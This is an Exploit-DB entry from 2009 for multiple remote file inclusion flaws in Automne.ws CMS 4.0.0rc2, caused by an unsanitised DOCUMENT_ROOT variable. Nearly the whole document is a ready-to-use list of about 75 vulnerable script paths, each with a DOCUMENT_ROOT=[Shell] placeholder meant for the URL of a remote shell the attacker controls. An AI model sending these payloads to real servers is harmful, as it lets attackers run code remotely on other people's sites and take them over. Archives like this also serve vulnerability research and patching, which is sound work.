Exploit-DB #10421
Description: Automne.ws CMS 4.0.0rc2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-12-14
Author: 1nd0n3s14n l4m3r

Exploit:
##########################################################################
##          Automne.ws CMS 4.0.0rc2 Multiple RFI Vulnerability          ##
##                  Created By 1nd0n3s14n l4m3r                         ##
##                      (c) -- 14/12/2oo9                               ##
##########################################################################
##  No Sanitize Variable $_SERVER["DOCUMENT_ROOT"]                      ##
##                                                                      ##
##automne/imagezoom.php?DOCUMENT_ROOT=[Shell]                           ##
##automne/is_alive.php?DOCUMENT_ROOT=[Shell]                            ##
##automne/admin/backtrace.php?DOCUMENT_ROOT=[Shell]                     ##
##automne/admin/favorites-sidepanel.php?DOCUMENT_ROOT=[Shell]           ##
##automne/admin/file-infos.php?DOCUMENT_ROOT=[Shell]                    ##
##automne/admin/group.php?DOCUMENT_ROOT=[Shell]                         ##
##automne/admin/groups.php?DOCUMENT_ROOT=[Shell]                        ##
##automne/admin/groups-controler.php?DOCUMENT_ROOT=[Shell]              ##
##automne/admin/groups-datas.php?DOCUMENT_ROOT=[Shell]                  ##
##automne/admin/help.php?DOCUMENT_ROOT=[Shell]                          ##
##automne/admin/ie6.php?DOCUMENT_ROOT=[Shell]                           ##
##automne/admin/image-controler.php?DOCUMENT_ROOT=[Shell]               ##
##automne/admin/index.php?DOCUMENT_ROOT=[Shell]                         ##
##automne/admin/login.php?DOCUMENT_ROOT=[Shell]                         ##
##automne/admin/login-form.php?DOCUMENT_ROOT=[Shell]                    ##
##automne/admin/logs.php?DOCUMENT_ROOT=[Shell]                          ##
##automne/admin/logs-datas.php?DOCUMENT_ROOT=[Shell]                    ##
##automne/admin/module.php?DOCUMENT_ROOT=[Shell]                        ##
##automne/admin/module-controler.php?DOCUMENT_ROOT=[Shell]              ##
##automne/admin/module-parameters.php?DOCUMENT_ROOT=[Shell]             ##
##automne/admin/modules-categories.php?DOCUMENT_ROOT=[Shell]            ##
##automne/admin/modules-categories-controler.php?DOCUMENT_ROOT=[Shell]  ##
##automne/admin/modules-categories-nodes.php?DOCUMENT_ROOT=[Shell]      ##
##automne/admin/modules-categories-rights.php?DOCUMENT_ROOT=[Shell]     ##
##automne/admin/modules-category.php?DOCUMENT_ROOT=[Shell]              ##
##automne/admin/navigator.php?DOCUMENT_ROOT=[Shell]                     ##
##automne/admin/no-pages.php?DOCUMENT_ROOT=[Shell]                      ##
##automne/admin/no-rights.php?DOCUMENT_ROOT=[Shell]                     ##
##automne/admin/page-add.php?DOCUMENT_ROOT=[Shell]                      ##
##automne/admin/page-content.php?DOCUMENT_ROOT=[Shell]                  ##
##automne/admin/page-content-block-file.php?DOCUMENT_ROOT=[Shell]       ##
##automne/admin/page-content-block-flash.php?DOCUMENT_ROOT=[Shell]      ##
##automne/admin/page-content-block-image.php?DOCUMENT_ROOT=[Shell]      ##
##automne/admin/page-content-controler.php?DOCUMENT_ROOT=[Shell]        ##
##automne/admin/page-controler.php?DOCUMENT_ROOT=[Shell]                ##
##automne/admin/page-copy.php?DOCUMENT_ROOT=[Shell]                     ##
##automne/admin/page-infos.php?DOCUMENT_ROOT=[Shell]                    ##
##automne/admin/page-logs.php?DOCUMENT_ROOT=[Shell]                     ##
##automne/admin/page-previsualization.php?DOCUMENT_ROOT=[Shell]         ##
##automne/admin/page-properties.php?DOCUMENT_ROOT=[Shell]               ##
##automne/admin/page-redirect-info.php?DOCUMENT_ROOT=[Shell]            ##
##automne/admin/page-rows-datas.php?DOCUMENT_ROOT=[Shell]               ##
##automne/admin/page-templates-datas.php?DOCUMENT_ROOT=[Shell]          ##
##automne/admin/phpinfo.php?DOCUMENT_ROOT=[Shell]                       ##
##automne/admin/resource-controler.php?DOCUMENT_ROOT=[Shell]            ##
##automne/admin/row.php?DOCUMENT_ROOT=[Shell]                           ##
##automne/admin/row-help.php?DOCUMENT_ROOT=[Shell]                      ##
##automne/admin/rows-controler.php?DOCUMENT_ROOT=[Shell]                ##
##automne/admin/scripts.php?DOCUMENT_ROOT=[Shell]                       ##
##automne/admin/search.php?DOCUMENT_ROOT=[Shell]                        ##
##automne/admin/search-datas.php?DOCUMENT_ROOT=[Shell]                  ##
##automne/admin/search-pages.php?DOCUMENT_ROOT=[Shell]                  ##
##automne/admin/server.php?DOCUMENT_ROOT=[Shell]                        ##
##automne/admin/server-check.php?DOCUMENT_ROOT=[Shell]                  ##
##automne/admin/server-scripts.php?DOCUMENT_ROOT=[Shell]                ##
##automne/admin/server-scripts-controler.php?DOCUMENT_ROOT=[Shell]      ##
##automne/admin/side-panel.php?DOCUMENT_ROOT=[Shell]                    ##
##automne/admin/stat.php?DOCUMENT_ROOT=[Shell]                          ##
##automne/admin/template.php?DOCUMENT_ROOT=[Shell]                      ##
##automne/admin/template-help.php?DOCUMENT_ROOT=[Shell]                 ##
##automne/admin/template-print.php?DOCUMENT_ROOT=[Shell]                ##
##automne/admin/templates.php?DOCUMENT_ROOT=[Shell]                     ##
##automne/admin/templates-controler.php?DOCUMENT_ROOT=[Shell]           ##
##automne/admin/templates-file.php?DOCUMENT_ROOT=[Shell]                ##
##automne/admin/templates-files.php?DOCUMENT_ROOT=[Shell]               ##
##automne/admin/templates-files-controler.php?DOCUMENT_ROOT=[Shell]     ##
##automne/admin/templates-files-nodes.php?DOCUMENT_ROOT=[Shell]         ##
##automne/admin/templates-page.php?DOCUMENT_ROOT=[Shell]                ##
##automne/admin/templates-row.php?DOCUMENT_ROOT=[Shell]                 ##
##automne/admin/templates-rows.php?DOCUMENT_ROOT=[Shell]                ##
##automne/admin/tree.php?DOCUMENT_ROOT=[Shell]                          ##
##automne/admin/tree-duplicate.php?DOCUMENT_ROOT=[Shell]